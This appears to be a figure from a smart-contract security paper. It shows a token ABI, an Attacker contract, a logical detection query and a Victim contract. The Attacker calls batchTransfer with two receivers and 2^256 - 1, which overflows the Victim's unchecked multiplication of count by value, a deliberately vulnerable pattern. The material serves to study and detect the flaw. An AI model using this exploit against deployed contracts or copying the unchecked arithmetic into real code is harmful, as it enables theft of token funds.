```
{"inputs": [
 {"name": "_receivers", "type": "address []"},
 {"name": "_value" , "type": "uint256"}] ,
 "name": "batchTransfer" , "type": "function"
 ...
 }
```

(1) ABI

```
contract Attacker {
  ...
  function exploit() {
    v = Victim(0x123);
    v.makeFlag(true);
    v.batchTransfer([0x123, 0x456],
                    2^256 - 1);
   }
  function () payable {}
}
```

(2) attack program

Query:

$$\exists arg_0, arg_1, r_1, r_2, r_3, call \;\; r_3 = (r_1 \otimes r_2) \wedge [\![r_2]\!] > [\![r_3]\!]$$
$$\wedge\, (interfere?\ r_2\ call.value) \wedge (interfere?\ arg_0\ call.addr)$$
$$\wedge\, (interfere?\ arg_1\ call.value)$$

```
contract Victim {
2 bool flag = false;

function makeFlag(bool fg) {
5 flag = fg;
}

function batchTransfer(address[] r,
                       uint256 v){
10  uint c = r.length;
11  uint256 amount = uint256(c)*v;
12  require(flag);

13  b[msg.sender] =
14  b[msg.sender].sub(amount);
15  for (uint i = 0; i < c; i++) {
16      address recv = r[i];
17      recv.transfer(v);
    }
    return true;
}
}
```

(3) victim program